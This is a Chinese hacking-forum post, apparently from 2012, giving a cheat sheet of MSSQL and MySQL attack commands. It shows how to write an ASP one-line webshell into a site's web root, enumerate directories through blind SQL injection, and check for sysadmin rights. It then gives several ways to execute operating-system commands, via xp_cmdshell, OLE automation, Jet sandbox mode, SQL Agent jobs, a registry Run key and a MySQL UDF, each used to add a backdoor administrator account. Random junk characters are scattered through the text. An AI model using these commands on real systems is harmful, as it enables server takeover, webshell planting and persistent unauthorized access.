找回密码
 立即注册
查看: 3553|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
3 f. ?6 p, o% M; J  @首先确定网站的WEB路径
/ A& q$ J" f# C9 h3 q) f! B4 y;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
! W' U7 E$ W: l$ g$ a" Z1 Y6 q7 u  |& ~
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
7 Z/ [2 }! ~% Z+ O! t, @//将一句话木马插入表中
1 a0 e+ q$ c9 K- R+ n
* f" w( r9 H5 K8 d! r8 L;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
( A% n" K: `( x& v. N2 r3 E//导出一个ASP文件
  f. z$ x% g0 e2 _
; A$ [' z: |+ r$ @/ l) ~( X. l: Q
关于MSSQL列目录  N  P) u4 s2 t/ w2 n6 R: y
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表; f1 O; ~+ m* P) Q! O# C
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
1 d( z, a2 N% e5 Y$ ^) d9 k/ T
6 R5 }! ?" f; [2 `- \6 l! j6 n8 i9 Q* {, Qand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录  D2 N; o3 M) I3 C
# x# p4 ~% u- i# b. Z
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段7 ~  r- ^! |- i$ B6 J) ~, ?
6 O6 O6 g0 ~! k1 H. C3 k4 w
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
- T3 ?! |7 Q  p2 Z% k. b; [
' l( Y4 U- C9 F4 Z# ]- C2 w, n( w* Q$ ]2 W' S: P
数据库版本和权限查看. ], `8 j' W* f9 s
and 1=(select @@VERSION) //查看详细的数据库信息.
. e. n* ~6 h3 b7 fand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA( S/ h* F$ n3 b9 c, a
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER% j2 S0 D% q+ e

! Q$ }- |5 [+ ^' O
+ E1 f' f- r+ ?3 ]1.利用xp_cmdshell执行命令! U, L8 p0 g8 a, D+ R4 z% i, _8 g
exec master..xp_cmdshell 'net user rfire 123456 /add'3 A6 }8 g  L5 c' D. @: M  o/ W
exec master..xp_cmdshell 'net localgroup administrators rfire /add'4 j( k# N$ K- |- C/ N' _$ V
* I0 k# v, m- f5 B
恢复xp_cmdshell存储过程
  J( s2 |9 t: O6 O# N1 fExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll', k$ K) a5 [$ X3 J

5 x% R) ^: i5 `; R9 h' \. s" O7 D
2.利用SP_OAcreate和SP_OAMETHOD执行命令. U! b& a: B9 w& K
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下! s; e; ?1 E5 t+ s) ~! x* k* @* }
DECLARE @shell INT //建立一个@shell实体! g! L7 ^8 I! Y: F$ M- I
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例8 w3 R* a9 M  z2 `' }6 j
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
( q% O4 O# t! S2 I3 O, H  F% K' I5 n* U7 d0 S- e

, k% f5 {4 N: g, c. o4 m3.利用沙盒模式
) |. u; ?& z# v/ S$ W8 T3 N先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
, l/ ^0 B6 _/ G- _  D2 K开启沙盒模式:, K: L# S* H+ `8 S/ @. u/ V
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0/ N; `$ K- E1 n# y% d; T! a1 C& n6 j

! O) t# T: x4 H执行命令:" ?' Y- e& ~7 @$ A
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
# A3 F8 j. D9 K: }+ \: ]7 `
  G# S' N3 M, R! t" ]. G; }" o5 v/ F
4.利用SQL代理执行命令
1 X4 ~0 M6 k4 V* g/ \EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务4 r2 Y* |+ o  K! b/ E( b

& Q& w  q1 E1 i* R, ~# y执行命令:
# P! {3 ~6 ^+ p8 }use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错- s  E& n! ?; \# C5 c0 z  E( q, O
exec sp_add_job 'x'
6 @% ~$ B0 k; X! texec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业% y# h+ O% O* i. K1 u
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业7 E! R: V! }( K2 p0 k

3 B: T1 V: g8 O! _5 l
0 o& e3 P3 _% [! X5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)9 y3 L; _1 l6 F7 \7 w
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
, L) b  g( R- r; N, ~/ a& ?& T* N0 j) G3 s
* W6 k0 |3 I8 ?& _5 @' Q" N
6.MYSQL的命令执行- m9 h# z, {% e" x5 k
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)' v0 \8 E6 u$ O& \
首先要在su.php下导出c:\windows\udf.dll
. y& O! N+ ?# G6 {, o2 n3 Q( C导出后执行创建自定义函数命令:7 S, g/ {* _" P7 N3 m9 N$ q
Create Function cmdshell returns string soname 'udf.dll'
9 m6 f$ N1 C) V: U执行命令1 u% I/ Y& \# p, Z% G, h
select cmdshell('net user rfire 123456 /add')$ y! B4 Y4 E! {$ Q, d& B* I7 i
执行后删除函数 drop function cmdshell% m7 {7 N& V4 A. j) m5 l- a5 N. d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表